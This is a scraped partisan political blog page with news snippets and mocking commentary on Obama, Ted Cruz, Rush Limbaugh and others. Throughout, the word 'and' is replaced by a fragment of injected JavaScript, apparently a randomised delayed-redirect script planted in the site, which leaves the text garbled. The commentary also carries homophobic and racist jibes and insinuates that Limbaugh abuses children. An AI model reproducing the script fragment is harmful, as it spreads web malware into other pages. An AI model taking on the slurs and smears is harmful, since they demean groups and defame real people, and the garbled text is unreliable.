President Obama visited Jamaica this week, the first time a president has done that in over 30 years. Upon his departure, he turned around to shoot a beautiful, giant rainbow at the island, proving definitively that he has some special tricks up his gay wizard sleeve! This act was caught on camera by White House photographer Pete Souza, so we guess Obama is okay with his magical powers not being a secret anymore. How will Hillary Clinton top THAT, when she is president?

Tara Smith is an Associate Professor of Epidemiology at Kent State University.

Instead of politically motivated fear andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} panic mongering, she offered a bit of much needed perspective.

Tara said, “Yes, Ebola has a fairly high fatality rate, killing many people who are infected with the virus, but there still haven’t been very many deaths from Ebola overall. Ebola has caused approximately 4000 infections andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 2400 deaths since the first outbreak was recorded in 1976. That’s an average of 64 people per year over 38 years.

“In contrast, malaria kills more than 600,000 people every year, or about 68 people per hour. Ebola is an undeniably scary infection, but it’s not one that needs to be feared in the United States.

The U.S. economy is picking up steam, with employers hiring again at a healthy pace andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the unemployment rate at its lowest since the summer of 2008, the Bureau of Labor Statistics reported Friday.

The Bureau reported that the jobless rate fell below 6 percent, dropping to 5.9 percent from 6.1 percent in August, continuing a decline from its recession peak of 10 percent.

It’s the lowest unemployment rate since the miserable Bush summer of 2008. (Of course, when you adjust for Obama’s blackness, the REAL unemployment rate is 27%!)

Employers added 248,000 jobs in September across a number of sectors, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} hiring in August, originally seen as suggesting the economy might be faltering again, was revised upward to a more promising 180,000 jobs, the government said.

The pace of job creation in September was above many economists’ expectations andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} was a return to the 200,000 level, a mark that had been surpassed each month since midwinter until the August lull.

The strong report — the last one before the midterm elections — buoyed the outlook of economists who had worried the postrecession recovery was being sidetracked, with many Americans feeling left out of the improving economy.

Investors were also encouraged by the report. Stocks moved higher, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the dollar rose against many major currencies.

Click here to listen to my interview with Tom from May 11, 2005. He was gracious andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} generous enough to spend almost 2 1/2 hours with us andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I will be forever grateful.

Tom was an actor, director, screenwriter, author, educator andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} political activist. He was best known for his starring role in the Billy Jack films. He was married to his wife, Delores Taylor, who also starred in the Billy Jack films, for 60 years.

His unique promotion of The Trial of Billy Jack (TV trailers during national news andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} an “opening day” nationwide release) was a major influence on the way films are marketed.

For all Tom accomplished – but more importantly – for who Tom was, I will miss him dearly.

Next con man andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} grifter on our last minute stocking stuffer list… Raphael Eduardo Cruz, although he calls himself Ted so he doesn’t sound too Mexicany.

Raphael Eduardo not only has a book out, it’s a coloring book! (Well, at least he found a way to invigorate the largest bloc of the conservative base – crayon eaters.)

The book is titled “Cruz to the Future” – the perfect gift for someone in your life who’s either terrified the non-existent liberal media’s gonna’ turn their kids into Obama supporters – or – if they just need something to entertain their kids on those long drives to tea party rallies.

In either case, there’s now a coloring book to teach your children to love Ted Cruz.

That may sound like a left-wing conspiracy theory — andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the Obama administration itself is so busy defending the indefensible early failings of its signature program that it has barely tried to make this case. But there is a strong factual basis for such a charge.

From the moment the bill was introduced, Republican leaders in both houses of Congress announced their intention to kill it. Republican troops pressed this cause all the way to the Supreme Court — which upheld the law, but weakened a key part of it by giving states the option to reject an expansion of Medicaid. The GOP faithful then kept up their crusade past the president’s reelection, in a pattern of “massive resistance” not seen since the Southern states’ defiance of the Supreme Court’s Brown v. Board of Education decision in 1954.

Couple classic quotes from the President this week.

1) “This is an interesting thing to ponder, that your top agenda is making sure 20 million people don’t have health insurance, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} you are willing to shut down the government to win the point.”

2) “Now let’s put this in perspective. The Affordable Care act has been in the law for three andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a half years, it passed both houses of Congress, the Supreme Court ruled it constitutional, it was an issue in last year’s elections, the guy who was running against me said he was gonna repeal it, we won.”

3) I’m still LOL’ing at the animated gif!

I tuned into hate radio yesterday only to hear the disgusting Limbaugh aberration announce he’s written a book for children – not surprising perhaps – seeing as he likes to load up on Viagra andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} then travel to a country famous for its underage male prostitution trade.

I was surprised to hear the book was titled, “Rush Revere andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the Brave Pilgrims.” I thought “The Little Addict Who Could” might be more appropriate. Or maybe… “The Little Dominican Boy Who Would?” Or how about “Don’t Tell Mommy Where Daddy Touched You?”

But no… he writes a book for children; makes himself the main character; andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} calls it, “Rush Revere andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the Brave Pilgrims.” No ego, there, no sir.

And you’ll notice at the bottom of the cover, he calls himself “#1 New York Times Bestselling Author.” Firstly, that was 20 years ago andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} times have changed. Secondly, given the amount of time he spends trashing the N.Y. Times, isn’t including their name on his cover the personification of hypocrisy? You know… much like his entire radio show?

Frankly, folks. I’m just… speechless. And would you get a load of the cover? I find it – frankly folks – disturbing, to say the least.

An image of the sign caught worldwide attention this week after it was posted on the social-media website Reddit.

Rep. Blake Farenthold, R-Texas, told a town hall during the weekend in Luling, Texas, that the House of Representatives has enough votes to impeach President Barack Obama, but he did not say what the impeachment charges would be.

Farenthold tried to explain to his supporters why impeaching the president ultimately will not work.

Farenthold said “Here’s the issue… you tie into a question I get a lot. ‘If everybody’s so unhappy with what the president’s done, why don’t you impeach him?’ I’ll give you a real frank answer about that. If we were to impeach the president tomorrow, you could probably get the votes in the House of Representatives to do it. But it would go to the Senate andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} he wouldn’t be convicted … What message do we send to America if we impeach Obama andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} he gets away with what he’s impeached for, is found innocent?

Doug: I’m sorry… as much as I subscribe to the old adage “You can’t judge a book by looking at its cover,” when it comes to this guy? I think you can pretty much judge him just by looking at him.

Doug: And here’s what bugs me about Ted Cruz’s stupid statement, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} why it should bother you. Ted Cruz is not a stupid man. He’s a Harvard law alum with a pretty good W-L record arguing cases in front of the US Supreme Court.

Cruz knows full well what he said is stupid. But he also knows that his gullible, red meat eating, mouth breathing, knuckle dragging base likes stupid. He knows his base likes everything reduced to mindless slogans andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} tag lines – exactly what his fellow republican, Louisiana governor Bobby Jindal, said the republican party has to stop doing .

So here’s the reality folks… a man you know is not stupid tells you something he knows is completely stupid. In the real world – not buried in the bowels of your right wing nut media bubble andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} echo chamber – but in the real world, this is what is called “insulting your intelligence.”

His ability to insult the intelligence of his base so blatantly andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} get away with it is a thing to behold. It is however, a damning indictment of his base.

In a major shakeup for the radio industry, Cumulus Media, the second-biggest broadcaster in the country, is planning to drop both Rush Limbaugh andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Sean Hannity from its stations at the end of the year, an industry source told POLITICO on Sunday.

Cumulus has decided that it will not renew its contracts with either host, the source said, a move that would remove the two most highly rated conservative talk personalities from more than 40 Cumulus channels in major markets.

Last year, over 140 advertisers severed their relationship with the Limbaugh program after the host launched a series of sexist attacks on women’s health advocate Sandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ra Fluke. Cumulus carries Limbaugh on over 40 stations, including WABC in New York, the nation’s largest market. Losing the New York market could damage Limbaugh’s ability to sell national advertising at all, according to some experts.

Limbaugh recently acknowledged difficulty selling ads, complaining ad buyers are “are young women fresh out of college, liberal feminists who hate conservatism.”

Doug: Yes Rush, the problem is young college educated women, not your (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the Republican party’s) hate filled anti-woman, anti-minority, anti-social-progress, anti-poor, anti-intellectual, anti-science rhetoric.

Indeed, the bill Berg supported does not even contain an explicit exception if an abortion is necessary to save the woman’s life.

In 2007, Berg was among the small number of state representatives in the North Dakota House who supported the measure.

And here’s what the law said… “A person is guilty of a class AA felony if the person intentionally destroys or terminates the life of a preborn child.” A class AA felony carries a maximum sentence of life without the possibility of parole in North Dakota.

Doug: Well. Isn’t he just a breath of fresh air? And to think… at one point, the GOP actually stood a fair chance of flipping the senate. But now?

Drew Peterson guilty of murder in ex-wife’s death

The jury returned a verdict after two days of deliberations, just an hour after stopping discussions to ask the judge the meaning of the word “unanimous.”

Doug: At least we know he was tried by a jury of his peers.

They were probably afraid of possible personal ramifications from their verdict, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} were inquiring if they could remain “unanimous” once their decision was announced.

But do you see my point? Do you really want to give people like this the task of sentencing a man to death? If they don’t know what unanimous means, what are the odds they know what “beyond a reasonable doubt” means? It is frightening that people’s lives are in the handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s of people barely smart enough to find the courtroom.
